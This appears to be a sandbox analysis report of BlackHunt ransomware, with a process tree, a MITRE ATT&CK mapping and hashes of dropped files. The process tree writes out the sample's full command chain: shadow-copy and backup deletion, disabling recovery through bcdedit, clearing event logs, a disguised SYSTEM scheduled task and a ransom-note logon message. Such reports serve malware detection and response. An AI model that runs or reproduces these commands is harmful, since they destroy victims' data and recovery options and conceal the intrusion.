  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2352
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2196
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe" /F
  2⤵
  PID:2556
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:528
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1280
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1468
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1508
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2000
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:928
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2624
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2380
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:836
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3164
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3980
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:496
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3740
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4072
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3392
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4060
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2076
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1896
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2808
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2712
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2744
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:4312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2764
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4272
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1696
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:4620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe"
  2⤵
  - Deletes itself
  PID:1336
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:4352

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1372

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2480

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2188

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2240

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\MSOCache\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
c7dc766edb428ff8e00291a95bfbae3d

SHA1
022531f568805f32f48506e3fd471ae3f796086c

SHA256
6d16b1b9eea8c863438859d7661dc48a461bad0991d787e3a2b6c4fac4dbfa40

SHA512
5fb75a63544cdccb4dac7d051e3e7004edc58e3dfef9a5a0d6208f23eec55987792dc828fa0771cefc4dcf838f7630595b301a5cadefbaad4511fcbfd10eaec5

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
314d3c5c45992200a49cb02448f3b566

SHA1
a5a323727427aa968f9ed89a0feeb9d846d7a5b6

SHA256
b038277b7796f4ec1a1e5879da2f41be89951343c59193676ae08cf1b80f71d8

SHA512
163b076470938b5624dfe7c2b71c70b03f2b11fbf12dbe53a79d0c83ee2a086cc964931e8a3a9720f7ed4f65624d090514a88804cb24000cb8018d850c29d7bd

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
f63146cbd8b9bc943423bf2a3c1316db

SHA1
013741c4a8d4649b1c12b9642fc487c06beab16a

SHA256
6a6f54c633f9de79324789aad37856ccb207c0cbe0fa0e7b8415e19196d770de

SHA512
bc18a343e7358fd1caae9c1300936e66901d5dc9238765622884837eddd40f918e5c0365473e219de78cd5fe0ecbeb1a682f8073623639a9001100cc2dfa7be0

Download Submit
memory/2900-11407-0x0000000074A50000-0x0000000074C65000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads